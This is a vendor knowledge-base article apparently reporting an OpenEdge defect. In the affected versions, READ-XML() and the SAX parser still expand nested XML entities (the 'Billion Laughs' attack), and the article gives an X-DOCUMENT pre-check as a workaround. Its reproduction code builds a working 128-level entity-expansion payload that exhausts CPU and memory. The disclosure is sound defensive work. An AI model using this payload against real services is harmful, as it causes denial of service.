READ-XML() method and SAX parser still susceptible to xml entity expansion attack

Starting with 11.6.0, ABL XML parsers guard against xml entity expansion attack (Billion Laughs attack). However, the READ-XML() method for temp-tables and datasets remains vulnerable.

May 11, 2017
Knowledge

Title

URL Name

READ-XML-method-is-still-susceptible-to-xml-entity-expansion-attack

Article Number

000188580

Environment

Product: OpenEdge Version: 11.6.x, 11.7.0 OS: All supported platforms Other: XML

Question/Problem Description

Starting with 11.6.0, ABL XML parsers guard against xml entity expansion attack (Billion Laughs attack). See also X-DOCUMENT handle susceptible to XML entity expansion attack
However, the READ-XML() method for temp-tables and datasets remains vulnerable.

Steps to Reproduce

Clarifying Information

The following code will reproduce the issue:

/* based on based on http://projects.webappsec.org/w/page/13247002/XML%20Entity%20Expansion */
define temp-table tt no-undo
   field cc as char
   .
define dataset ds for tt.

def var hdoc as handle no-undo.
def var hsx as handle no-undo. 
def var ii as int no-undo.

output to "xee.ha.xml".
put unformatted
  '<?xml version="1.0"?>' skip
  '<!DOCTYPE root [' skip
  '<!ENTITY ha1 "Ha !">' skip
  .
do ii = 2 to 128:
  put unformatted
     substitute(
        '<!ENTITY ha&1 "&&ha&2; &&ha&2;">',
        ii,
        ii - 1
     ) skip.
end.      
  
put unformatted
  ']><root>&ha128;</root>'
  .   
output close. 

/* this will raise error starting with 11.6.0 */
create x-document hdoc.
hdoc:load("file","xee.ha.xml",no).
delete object hdoc.

/* this doesn't raise error.
   Instead, will hog a CPU core for very long time */
create sax-reader hsx.
hsx:set-input-source( "file", "xee.ha.xml" ).
hsx:sax-parse().
delete object hsx.

/* this doesn't raise error. 
   Instead, will hog a CPU core, and use more and more memory until eventual crash 
*/
dataset ds:read-xml( "file", "xee.ha.xml", ?, ?, ? ).

Error Message

Defect Number

Defect PSC00357154

Enhancement Number

Cause

The exact cause is not known at this time.

Resolution

Until the fix is available, use the workaround below.

Workaround

Load XML into an X-DOCUMENT object first to test for the Entity Expansion attack.

Notes

References to Other Documentation:
http://projects.webappsec.org/w/page/13247002/XML%20Entity%20Expansion

Keyword Phrase

Last Modified Date

11/20/2020 7:16 AM

READ-XML() method and SAX parser still susceptible to xml entity expansion attack

Files

Was this article helpful?

Was this article helpful?

READ-XML() method and SAX parser still susceptible to xml entity expansion attack

Information

Related Articles